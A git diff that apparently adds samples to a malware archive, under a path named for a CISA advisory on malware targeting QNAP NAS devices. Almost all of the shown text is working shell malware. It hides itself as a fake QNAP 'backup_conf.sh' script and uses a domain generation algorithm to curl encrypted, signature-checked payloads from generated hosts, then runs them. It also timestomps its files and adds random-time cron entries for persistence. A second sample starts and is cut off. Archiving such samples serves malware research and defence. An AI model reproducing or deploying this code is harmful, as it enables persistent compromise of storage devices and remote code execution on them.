vcHRzICc6YzonIE9QVCAyPi9kZXYvbnVsbAp0ZXN0ICIkT1BUIiA9ICdjJyAmJiBjcm9udGFiZmlsZT0iJHtPUFRBUkd9L2FkbWluIiAmJiBicmVhawp0ZXN0ICIkT1BUSU5EIiAtZ3QgMCAmJiBzaGlmdCAiJE9QVElORCIgJiYgT1BUSU5EPTEgfHwgYnJlYWsKZG9uZQp0ZXN0ICIkY3JvbnRhYmZpbGUiICYmIHRlc3QgLWYgIiR7Y3JvbnRhYmZpbGV9IiB8fCBjcm9udGFiZmlsZT0nL3RtcC9jcm9uL2Nyb250YWJzL2FkbWluJwoKZm9yIGNyb250YWIgaW4gIiRjcm9udGFiZmlsZSIgIiR7Y29uZmRpcn0vY3JvbnRhYiI7IGRvCmlmICRmZ3JlcCAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiAiJGNyb250YWIiOyB0aGVuCjoKZWxzZQpjcm9ubWlucz0kKHByaW50ZiAnJWknICIkKCggJFJBTkRPTSAlIDYwICkpIikKY3JvbmhvdXI9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSAyNCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaSwnICIkKCggKCAkY3JvbmhvdXIgKyA4ICkgJSAyNCApKSIgIiQoKCAoICRjcm9uaG91ciArIDE2ICkgJSAyNCApKSIpIiRjcm9uaG91ciIKZWNobyAiJGNyb25taW5zICRjcm9uaG91ciInICogKiAqICciJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoID4vZGV2L251bGwgMj4vZGV2L251bGwiID4+ICIkY3JvbnRhYiIKY3JvbnRhYiAiJGNyb250YWIiCnNsZWVwIDIKZmkKZG9uZQopICYgKSAmCg== +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.config/backup_conf.sh" || chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 new file mode 100644 index 0000000..f9639f9 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 @@ -0,0 +1,926 @@ +#!/bin/sh +{ +ts=1558069200 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <".backup_${file}" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf 